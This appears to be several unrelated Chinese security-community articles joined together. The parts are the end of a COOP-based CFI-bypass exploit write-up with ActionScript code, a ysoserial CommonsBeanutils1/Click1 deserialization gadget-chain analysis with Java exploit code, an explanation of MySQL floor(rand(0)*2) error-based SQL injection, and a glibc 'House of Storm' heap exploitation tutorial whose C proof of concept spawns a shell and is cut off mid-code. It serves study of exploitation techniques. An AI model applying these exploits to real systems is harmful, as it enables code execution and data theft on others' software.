SP1相关，并且在以后的[ATL版本](https://social.msdn.microsoft.com/Forums/vstudio/es-ES/17c41e2b-c863-4f6c-af1d-866a96ae721d/kb948468-applications-using-older-atl-components-may-experience-conflicts-with-dep?forum=vcgeneral)中可能进行了更改。
这个vfgadget真正有趣的是thunk被写入了 VirtualAlloc 使用EXECUTE_READWRITE权限分配的内存页。
这个VirtualAlloc调用由ATL::_stdcallthunk::Init执行，如下面的屏幕截图所示（0x40是flProtect参数，意思是EXECUTE_READWRITE）：
<https://perception-point.io/new/img/cfi1.png>
有关此vfgadget的其他注意事项包括：
1. 创建的thunk指针稍后将保存在我们的CComControl伪造对象中
2. 只有一个检查可以阻止vfgadget调用ATL::_stdcallthunk::Init，并且我们对此检查有完全控制权，因为它只验证对象的一个成员为NULL。
总而言之，我们将创建伪造的CComControl对象，调用ATL::CComControl::CreateControlWindow
vfgadget，然后使用我们的读/写原语（ExploitByteArray）来读取创建的thunk地址。
最终给我们一个READWRITE_EXECUTE页面来存储我们的shellcode。
我们用来执行vfgadget的magic方法将3个参数传递给虚函数，但ATL::CComControl::CreateControlWindow只接收2个参数，这会导致堆栈损坏并导致进程崩溃。
为了避免堆栈损坏，我们使用另一个接收3个参数的vfgadget并使用它来调用ATL::CComControl::CreateControlWindow。
## vfgadget 2
为了找到这样的vfgadget，我们使用IDA脚本搜索了shell32.dll，其中包含以下约束：
1. 这是一个虚函数（它从vtable交叉引用）
2. 它有一个涉及寄存器的间接调用
3. 它接收3个参数，像我们的Magic方法（这里会由“retn X”操作码检测）
4. 它将2个参数传递给间接被调用函数（通过从 push 的参数个数中减去 pop 的个数来检测）
5. 它小于0x30字节 - 毕竟，我们不需要长而复杂的vfgadget。
我们查看了脚本结果并选择了CLibrariesFolderBase::v_AreAllLibraries。
此vfgadget实际上是一个mainloop gadget（ML-ARG-G），它在每次迭代中调用相同的虚函数（VTABLE的偏移量0x4c），并仅在函数返回成功的错误代码（0）时停止迭代。
<https://perception-point.io/new/img/cfi2.png>
## 组合
伪造我们的对象，magic 方法指针 [vtable + 0x18] 将指向我们的ML-ARG-G，而ML-ARG-G内部调用vtable的偏移[vtable + 0x4c]将指向CreateControlWindow vfgadget：
// first, we save the current this pointer, to recover it later
original_this = eba.read(magic_object);
var magic_vtable:uint = magic_object+0x40;
// now, lets put a fake vptr at [magic_object]
eba.write(magic_object, magic_vtable);
// [vtable+0x18] will hold the first vfgadget that will be invoked
// it will be the ML-ARG-G we found in shell32.
eba.write(magic_vtable + 0x18, ml_arg_g);
// [vtable+0x4c] will hold the second vfgadget that will be invoked
// It will be the createWindow vfgadget we found in shell32
eba.write(magic_vtable+0x4C, createWindow_g)
Now, invoking the Magic method will perform our COOP flow:
eba.write(magic + 0x1c, 0x0)
eba.write(magic + 0x20, magic_object+0x100)
var args:Array = new Array(0x41)
Magic.call.apply(null, args);
eba.write(magic_object, original_this);
<https://perception-point.io/new/img/cfi3.png>
当我们的COOP流程结束时，我们可以读取创建的READWRITE_EXECUTE分配的内存页指针。 它将存储在“this”指针的0x5c偏移处：
// createWindow allocated a page with EXECUTE_READWRITE protection, and stored a pointer to it on magic_object+5C
var allocated_address:uint = eba.read(magic_object+0x5c)
// get page base address
allocated_address = allocated_address&0xFFFFF000
<https://perception-point.io/new/img/cfi4.png>
现在，我们可以简单地将我们的shellcode写入allocated_address，将此地址放入magic vtable
offset中，并再次调用magic方法来实现代码执行。
## 进一步思考
有几种方法可以使用COOP技术实现漏洞利用。 在研究期间，我们还在flash
DLL（18.0.0.203）中找到了5个vfgadgets，它们执行以下操作：
1. 在我们选择的任意路径下创建2个子目录。
2. 将文件写入名为“digest.s”的路径。
3. 调用MoveFileEx API，因为我们可以完全控制源和目标参数（这会将文件“digest.s”重命名为“atl.dll”，这是最终vfgadget所必需的）。
4. 使用可控路径参数调用SetCurrentDirectory API。 我们可以使用它将进程的当前目录设置为包含我们的有效负载文件的路径。
5. 将LoadLibrary调用为“atl.dll”，它将加载我们的有效负载dll。
将所有这些vfgadgets组合在一起是可能的，但由于COOP的微妙特性需要更多时间。
如前所述，我们发现了一个简单的vfgadget，它为我们提供了一个带有READWRITE_EXECUTE保护的内存页面，所以我们决定在这种情况下采用更简单的路径。
## 结论
我们已经成功地证明了COOP如何通过符合上述约束来规避现代CFI实现方案
1. Microsoft CFG未检测到“magic”方法的原始函数的重定向，因为目标是二进制文件的合法函数。
2. 没有违反后端CFI策略，因为没有覆盖返回地址
3. 没有使用ROP链
4. 没有更改堆栈指针
5. COOP操作对象指针，无需操作代码中的指针
6. VirtualAlloc是从绕过EMET关键函数保护的合法偏移中调用的。
为了缓解COOP攻击，CFI实现必须考虑语言语义和上下文状态。
如前所述，在这种特殊情况下，应用应该验证虚拟调用点与相关对象的虚函数或任何其他类型的语义是否匹配的细粒度策略应来检测攻击。
## 原文
<https://perception-point.io/new/breaking-cfi.php> | 社区文章 |
# ysoserial CommonsBeanutils1 & Click1 详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
CommonsBeanutils1 是一条比较古老的反序列化利用链，今年出的新利用链Apache
Click1与之非常相似，同时填补在上篇文章中留的坑，解决openAM反序列化利用链构造问题。
## 0x00 思考
分析完CommonsCollections系列利用链后对Java反序列化利用链有了更深层次的认识。其实Java与PHP的反序列化有着相同的地方，我们把
**填充了特定属性的类** 作为点，把 **类之间的方法调用**
作为线，这样线可以去连接点，完整的利用链最终能够把所有的点串起来。在构造利用链的时候无非就是考虑怎样把我想要的一些点串起来，抛开变量赋值的方式来讲，方法调用大体来讲有两种方式。
* 直接调用
* 通过一些特性调用
### 0x1 直接调用
就是字面意思，一个类中的方法直接调用了另一个类中的方法。我们拿一些之前分析的例子看一看。
比如LazyMap中的get方法会调用Transformer类型的transform方法。
factory为构造方法中的参数，在构造LazyMap时可以指定要传入的对象。大部分的方法调用都是通过这种方式进行的。
### 0x2 通过特性调用
通过某种Java机制进行的方法调用，比如说反射、javaBean属性获取、动态代理机制等等。我们可以在很多利用链中反复利用这些特性。举个简单的例子CC1链中AnnotationInvocationHandler的invoke方法调用就是采用的动态代理机制将readObject和Handler的invoke方法连接在一起。我们回忆一下关键点
AnnotationInvocationHandler的memberValues变量可以通过构造方法赋值，当赋值为一个代理类后，在执行这个代理类的entrySet方法时会自动调用代理类Handler的invoke方法。今天将要介绍javaBean属性获取的相关特性。
## 0x01 CommonsBeanutils1 分析
回到这次分析的主角之一CommonsBeanutils1，首先我们看下此次的命令执行点
### 0x1 命令执行入口
命令执行的具体步骤在之前分析CC2的时候详细讲解过，可参考<https://www.anquanke.com/post/id/232592#h2-6>，当时将newTransformer函数作为连接函数，把TransformingComparator和TemplatesImpl两个类连接在了一起。
仔细的看下TemplatesImpl代码，还会发现另外一个连接点。getOutputProperties方法也会调用newTransformer函数。因此想办法调用这个方法即可。
### 0x2 前置知识JavaBean
JavaBean其实就是符合一定规则的Java类。在Java中，有很多class的定义都符合这样的规范：
* 若干private实例字段；
* 通过public方法来读写实例字段。
例如：
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}
如果读写方法符合以下这种命名规范，那么这种类就被称为JavaBean
// 读方法:
public Type getAbc()
// 写方法:
public void setAbc(Type value)
PropertyUtils.getProperty(Object bean, String name)
函数这个方法是获取bean中名为name的属性。在获取name属性的过程中会调用getXXX的方法，这种调用特性给构造利用链提供了新的思路。
### 0x3 符合条件的Comparator
在BeanComparator类中的compare方法里有PropertyUtils.getProperty函数的调用，具体实现如下
这样我们就可以将BeanComparator的compare函数作为桥梁用来连接命令执行链和其他的函数，目前的利用链状态为
结合之前分析的CC2链，很容易想到用PriorityQueue类调用继承了Comparator接口的BeanComparator方法。
### 0x4 创造条件调用compare方法
PriorityQueue中的readObject会调用heapify函数进行元素排序，之后会触发comparator.compare方法，完美的闭合整个利用链。
### 0x5 编写利用代码
代码放在了github上<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/CButils1.java>，主代码如下
final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// mock method name until armed
// create queue with numbers and basic comparator
final BeanComparator comparator = new BeanComparator("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
// return queue;
byte[] serializeData=serialize(queue);
unserialize(serializeData);
有几个点需要注意下
* 一开始将BeanComparator的property设置为lowestSetBit，以及向queue队列中填充BigInteger对象，都是为了在执行add函数时不触发构造好的利用链，以防程序中断。
* add之后将comparator的property属性调整为outputProperties，以及queue元素调整为templates因为需要在序列化数据时把恶意数据带进去。
## 0x02 Click1 反序列化利用分析
该链的作者artsploit在今年分析openAM项目时现找的一条利用链，这条利用链和CommonsBeanutils1有着很多相似之处，所以我把他们放在一起对比着分析。作者在自己的分析文章中讲了是如何发现这条利用链的，我们就跟随大佬的脚本看一看整个链的发现过程。
### 0x1 发现过程
借助开源工具[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)帮助我们分析潜在的反序列化利用链
git clone https://github.com/JackOfMostTrades/gadgetinspector.git
cd gadgetinspector
./gradlew shadowJar
通过该工具会找到很多可以的利用链，具体能不能用需要人工判断。值得注意的是ColunmnComparator的compare方法会调用getProperty，这和CommonsBeanutils1惊人的相似，需要好好的分析下其中的逻辑。
### 0x2 替代BeanComparator
打开Column文件，在compare代码中会调用this.column的getProperty方法
之后会调用一些列的函数到达Method.invoke执行row对象中的getXXX函数。在构造利用代码的时候需要指定column对象的name字段为outputProperties。
结合之前的利用链分析，把BeanComparator替换为ColumnComparator，如下图所示
### 0x3 编写利用代码
完整代码上传至github上<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/Click1.java>，主要代码如下
public static void main(String[] args) throws Exception {
final Object templates = createTemplatesImpl("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
// mock method name until armed
final Column column = new Column("lowestSetBit");
column.setTable(new Table());
Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
column.setName("outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
// return queue;
byte[] serializeData=serialize(queue);
unserialize(serializeData);
}
在构造的时候注意几个地方
* ColumnComparator是Column的非public内部类，因此在创建对象的时候采用反射的方法。
* ColumnComparator的构造方法参数类型为Column，因此创建它之前要先创建Column对象。
* 其他的地方和BeanCompatrator一模一样。
## 0x03 总结
在分析过CC系列链后，学习了CommonsBeanutils1和Click1两条相似的利用链，又增加了对反序列化利用的认识。对于Java反序列化的利用链会继续跟踪学习下去，争取早日挖掘出自己的利用链。
## 0x04 参考文献
<https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464>
<https://www.daimajiaoliu.com/daima/47e366dba900403>
<https://blog.weik1.top/2021/01/18/CommonsBeanutils%E9%93%BE%E5%88%86%E6%9E%90/> | 社区文章 |
# 0x00 疑问
* * *
一直在用mysql数据库报错注入方法，但为何会报错？
百度谷歌知乎了一番，发现大家都是把官网的结论发一下截图，然后执行sql语句证明一下结论，但是没有人去深入研究为什么rand不能和order
by一起使用，也没彻底说明三者同时使用报错的原理。
# 0x01 位置问题？
* * *
`select count(*),(floor(rand(0)*2))x from information_schema.tables group by
x;` 这是网上最常见的语句,目前位置看到的网上sql注入教程,`floor` 都是直接放`count(*)`
后面，为了排除干扰，我们直接对比了两个报错语句，如下图
由上面的图片，可以知道报错跟位置无关。
# 0x02 绝对报错还是相对报错？
* * *
是不是报错语句有了`floor(rand(0)*2)`以及其他几个条件就一定报错？其实并不是如此，我们先建建个表，新增一条记录看看，如下图：
确认表中只有一条记录后，再执行报错语句看看，如下图：
多次执行均未发现报错。
然后我们新增一条记录。
然后再测试下报错语句
多次执行并没有报错
OK 那我们再增加一条
执行报错语句
ok 成功报错
由此可证明`floor(rand(0)*2)`报错是有条件的，记录必须3条以上，而且在3条以上必定报错，到底为何？请继续往下看。
# 0x03 随机因子具有决定权么(rand()和rand(0))
* * *
为了更彻底的说明报错原因，直接把随机因子去掉，再来一遍看看，先看一条记录的时候，如下图:
一条记录的话 无论执行多少次也不报错
然后增加一条记录。
两条记录的话 结果就变成不确定性了
随机出现报错。
然后再插入一条
三条记录之后，也和2条记录一样进行随机报错。
由此可见报错和随机因子是有关联的，但有什么关联呢，为什么直接使用`rand()`，有两条记录的情况下就会报错，而且是有时候报错，有时候不报错，而`rand(0)`的时候在两条的时候不报错，在三条以上就绝对报错？我们继续往下看。
# 0x04 不确定性与确定性
* * *
前面说过，`floor(rand(0)*2)`报错的原理是恰恰是由于它的确定性，这到底是为什么呢？从0x03我们大致可以猜想到，因为`floor(rand()*2)`不加随机因子的时候是随机出错的，而在3条记录以上用`floor(rand(0)*2)`就一定报错，由此可猜想`floor(rand()*2)`是比较随机的，不具备确定性因素，而`floor(rand(0)*2)`具备某方面的确定性。
为了证明我们猜想，分别对`floor(rand()*2)`和`floor(rand(0)*2)`在多记录表中执行多次(记录选择10条以上)，在有12条记录表中执行结果如下图：
连续3次查询，毫无规则，接下来看看`select floor(rand(0)*2) from`T-Safe`;`，如下图：
可以看到`floor(rand(0)*2)`是有规律的，而且是固定的，这个就是上面提到的由于是确定性才导致的报错，那为何会报错呢，我们接着往下看。
# 0x05 count与group by的虚拟表
* * *
使用`select count(*) from`T-Safe`group by x;`这种语句的时候我们经常可以看到下面类似的结果：
可以看出 test12的记录有5条
与`count(*)`的结果相符合，那么mysql在遇到`select count(*) from TSafe group by
x;`这语句的时候到底做了哪些操作呢，我们果断猜测mysql遇到该语句时会建立一个虚拟表(实际上就是会建立虚拟表)，那整个工作流程就会如下图所示：
1. 先建立虚拟表，如下图(其中key是主键，不可重复):
2.开始查询数据，取数据库数据，然后查看虚拟表存在不，不存在则插入新记录，存在则`count(*)`字段直接加1，如下图:
由此看到 如果key存在的话就+1， 不存在的话就新建一个key。
那这个和报错有啥内在联系，我们直接往下来，其实到这里，结合前面的内容大家也能猜个一二了。
# 0x06 floor(rand(0)*2)报错
* * *
其实mysql官方有给过提示，就是查询的时候如果使用`rand()`的话，该值会被计算多次，那这个“被计算多次”到底是什么意思，就是在使用`group
by`的时候，`floor(rand(0)*2)`会被执行一次，如果虚表不存在记录，插入虚表的时候会再被执行一次，我们来看下`floor(rand(0)*2)`报错的过程就知道了，从0x04可以看到在一次多记录的查询过程中`floor(rand(0)*2)`的值是定性的，为011011…(记住这个顺序很重要)，报错实际上就是`floor(rand(0)*2)`被计算多次导致的，具体看看`select
count(*) from TSafe group by floor(rand(0)*2);`的查询过程：
1.查询前默认会建立空虚拟表如下图:
2.取第一条记录，执行`floor(rand(0)*2)`，发现结果为0(第一次计算),查询虚拟表，发现0的键值不存在，则`floor(rand(0)*2)`会被再计算一次，结果为1(第二次计算)，插入虚表，这时第一条记录查询完毕，如下图:
3.查询第二条记录，再次计算`floor(rand(0)*2)`，发现结果为1(第三次计算)，查询虚表，发现1的键值存在，所以`floor(rand(0)*2)`不会被计算第二次，直接`count(*)`加1，第二条记录查询完毕，结果如下:
4.查询第三条记录，再次计算`floor(rand(0)*2)`，发现结果为0(第4次计算)，查询虚表，发现键值没有0，则数据库尝试插入一条新的数据，在插入数据时`floor(rand(0)*2)`被再次计算，作为虚表的主键，其值为1(第5次计算)，然而1这个主键已经存在于虚拟表中，而新计算的值也为1(主键键值必须唯一)，所以插入的时候就直接报错了。
5.整个查询过程`floor(rand(0)*2)`被计算了5次，查询原数据表3次，所以这就是为什么数据表中需要3条数据，使用该语句才会报错的原因。
# 0x07 floor(rand()*2)报错
* * *
由0x05我们可以同样推理出不加入随机因子的情况，由于没加入随机因子，所以`floor(rand()*2)`是不可测的，因此在两条数据的时候，只要出现下面情况，即可报错，如下图:
最重要的是前面几条记录查询后不能让虚表存在0,1键值，如果存在了，那无论多少条记录，也都没办法报错，因为`floor(rand()*2)`不会再被计算做为虚表的键值，这也就是为什么不加随机因子有时候会报错，有时候不会报错的原因。如图：
当前面记录让虚表长成这样子后，由于不管查询多少条记录，`floor(rand()*2)`的值在虚表中都能找到，所以不会被再次计算，只是简单的增加`count(*)`字段的数量，所以不会报错，比如`floor(rand(1)*2)`，如图：
在前两条记录查询后，虚拟表已经存在0和1两个键值了，所以后面再怎么弄还是不会报错。
总之报错需要`count(*)`，`rand()`、`group by`，三者缺一不可。 | 社区文章 |
一个很抽象的漏洞
## 原理
源码截取自glibc-2.27/malloc/malloc.c:3729
该段代码的功能就是在`unsorted bin`中找到与malloc的chunk相匹配的chunk，如果不匹配就把该`unsorted
bin`放回到它对应的bin中，利用点就在这段代码里面。
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr ("malloc(): memory corruption");
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
#if USE_TCACHE
/* If we've processed as many chunks as we're allowed while
filling the cache, return one of the cached ones. */
++tcache_unsorted_count;
if (return_cached
&& mp_.tcache_unsorted_limit > 0
&& tcache_unsorted_count > mp_.tcache_unsorted_limit)
{
return tcache_get (tc_idx);
}
#endif
#define MAX_ITERS 10000
if (++iters >= MAX_ITERS)
break;
}
原理就是`unsorted bin`上面储存了一个还没归位`large bin`和我们要申请的任意地址，`large
bin`的`bk_nextsize`也被我么所控制指向申请的任意地址chunk的size部分，当我们再次申请的chunk的时候，`large
bin`归位，触发的效果就是修改了任意地址chunk的size部分，但进行第二次`unsorted bin`搜索的时候就能申请到那个任意地址。
## 条件
1. 可以控制`unsorted bin`和`large bin`
2. 任意地址chunk的size的低四位要为0
## 代码解析
由于这个漏洞比较复杂，我将会用代码来进行解释。
### 有PIE的情况
// compiled: gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char padding[0x10]; // NULL padding
char sh[0x10];
}global_container = {"","id"};
int main()
{
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
unsorted_bin = malloc(0x4e8); // size 0x4f0
// 防止合并
malloc(0x18);
large_bin = malloc(0x4d8); // size 0x4e0
// 防止合并
malloc(0x18);
// FIFO
free(large_bin); // 先放小的chunk
free(unsorted_bin);
// large_bin 归位
unsorted_bin = malloc(0x4e8);
// unsorted_bin 归位
free(unsorted_bin);
fake_chunk = global_container.sh - 0x10;
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
((size_t *)large_bin)[0] = 0; // large_bin->fd
// 用于创建假块的“bk”，以避免从未排序的bin解链接时崩溃
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
// 用于使用错误对齐技巧创建假块的“大小”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
ptr = malloc(0x48);
strncpy(ptr, "/bin/sh", 0x48 - 1);
system(global_container.sh);
return 0;
}
下面我将对代码分段解释。
#### 可控的 unsorted bin 和 large bin
unsorted_bin = malloc(0x4e8); // size 0x4f0
// 防止合并
malloc(0x18);
large_bin = malloc(0x4d8); // size 0x4e0
// 防止合并
malloc(0x18);
// FIFO
free(large_bin); // 先放小的chunk
free(unsorted_bin);
// large_bin 归位
unsorted_bin = malloc(0x4e8);
// unsorted_bin 归位
free(unsorted_bin);
可以看到我们事先申请了两块chunk，一块放在`large bin`中，一块放在`unsorted bin`中。这两块chunk我们是可以控制的。
#### 修改 unsorted bin
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
在进行下一次`malloc`的时候，会先在`unsorted
bin`中查找size刚好合适的chunk，并会把每次匹配失败的chunk进行归位。这里就是为了构造这样的一个`unsorted
bin`，所以在下一次`malloc`的时候，`unsorted bin`的第一个chunk，也就是我们可以控制的chunk将会归位（回到`large
bin`），然后对下一个chunk，也就是我们构造的`fake_chunk`进行匹配。
我们的目的就是为了让`fake_chunk`可以在下面的代码中直接逃逸出去。
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
/* Fill cache first, return to user only if cache fills.
We may return one of these chunks later. */
if (tcache_nb
&& tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (victim, tc_idx);
return_cached = 1;
continue;
}
else
{
#endif
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
#if USE_TCACHE
}
#endif
}
这段代码的功能就是对chunk的`size`和`需要的size`进行匹配，如果匹配成功则直接返回该chunk。我们的目的就是利用后面的`large
bin`的成链操作来伪造`size`。
> 注意这里的size都是对齐了的。
#### 修改 unsorted bin
((size_t *)large_bin)[0] = 0; // large_bin->fd
// 用于创建假块的“bk”，以避免从未排序的bin解链接时崩溃
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
// 用于使用错误对齐技巧创建假块的“大小”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
这里我要拆分成两部分来解释，第一部分：
// 用于创建假块的“bk”，以避免从未排序的bin解链接时崩溃
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
在第一次`unsorted bin`解链后，chunk要归位到`large
bin`是，会有下面这段代码会被执行到，执行到这里的时候，fwd的值就是我们的`large bin`的第一个chunk。
// .......
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
从上面可以看到，`large bin`的bk先赋值给了`bck`，因为有`bck->fd = victim`这条代码，如果`large
bin`的bk指向的是一个不可写的地址的话，执行到这条语句的时候会直接crash。所以我们需要创建假chunk的“bk”，以避免从未排序的bin解链接时崩溃。
第二部分，也是最重点的地方了，`伪造size`，这里我们用的是插入`large bin`的一个漏洞。
// 用于使用错误对齐技巧创建假块的“大小”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
初学者肯定会好奇为什么要这样`fake_chunk - 0x18 - 5`进行偏移？这还要归咎到下面的代码：
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
在第一次解链的时候，victim就是`unsorted bin`，fwd就是`large bin`这段代码的目的就是为了把`unsorted
bin`插入到`large bin`。
victim->bk_nextsize = fwd->bk_nextsize;
首先，将`large bin`链表转移到要插入的`large
bin`的`victim`中，这里我用调试的数据来帮助大家理解，运行到这条指令时，调试结果如下：
pwndbg> p victim
$3 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$4 = {
prev_size = 0,
size = 1265,
fd = 0x0,
bk = 0x555555755060 <global_container>,
fd_nextsize = 0x555555756510,
bk_nextsize = 0x0
}
pwndbg> p fwd
$5 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
$6 = {
prev_size = 0,
size = 1249,
fd = 0x0,
bk = 0x555555755068 <global_container+8>,
fd_nextsize = 0x0,
bk_nextsize = 0x555555755043
}
执行完这条语句之后：
pwndbg> p victim
$9 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$10 = {
prev_size = 0,
size = 1265,
fd = 0x0,
bk = 0x555555755060 <global_container>,
fd_nextsize = 0x555555756510,
bk_nextsize = 0x555555755043
}
pwndbg> p fwd
$11 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
$12 = {
prev_size = 0,
size = 1249,
fd = 0x0,
bk = 0x555555755068 <global_container+8>,
fd_nextsize = 0x0,
bk_nextsize = 0x555555755043
}
那么它的功能也就是将`(size_t)fake_chunk - 0x18 - 5`转移到`victim->bk_nextsize`。
victim->bk_nextsize->fd_nextsize = victim;
在执行这条语句的时候，由于`victim->bk_nextsize`的地址就是`(size_t)fake_chunk - 0x18 -5`的值，那么就相当于我们有一次任意地址写的机会，那么肯定是用来构造我们的size，以便在第二次解链的时候直接返回任意chunk。
`0x18`就是一个chunk的`fd_nextsize`的偏移，因为上面的代码是要把victim写在这里，所以我们需要提取向前偏移`0x18`，而`-5`就是为了伪造size，在开启PIE的情况下，一般victim的值在`0x555555756000`附近左右，当偏移5个字节之后，那么写入size的地址就刚好是`0x55`，由于受随机化的影响这个值会稍微有点变动。
#### 获得任意地址
所以当我们申请的size和`0x55`经过对齐后相等的话，那么就可以拿到任意的chunk。
ptr = malloc(0x48);
#### 检查
在拿chunk的时候，会对chunk的mmap标志位，这里如果有错的话会直接crash，但是由于程序有随机化，多运行几次总能有一次成功的。
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
#### 运行实例
ex@ubuntu:~/test$ gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
ex@ubuntu:~/test$ ./House_of_Strom
Segmentation fault (core dumped)
ex@ubuntu:~/test$ ./House_of_Strom
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
### 无PIE的情况
演示代码：
// compiled: gcc -g -no-pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct {
char padding[0x10]; // NULL padding
char sh[0x10];
}global_container = {"","id"};
int main()
{
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
unsorted_bin = malloc(0x4e8); // size 0x4f0
// 防止合并
malloc(0x18);
large_bin = malloc(0x4d8); // size 0x4e0
// 防止合并
malloc(0x18);
// FIFO
free(large_bin); // 先放小的chunk
free(unsorted_bin);
// large_bin 归位
unsorted_bin = malloc(0x4e8);
// unsorted_bin 归位
free(unsorted_bin);
fake_chunk = global_container.sh - 0x10;
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->fd
((size_t *)large_bin)[0] = 0; // large_bin->fd
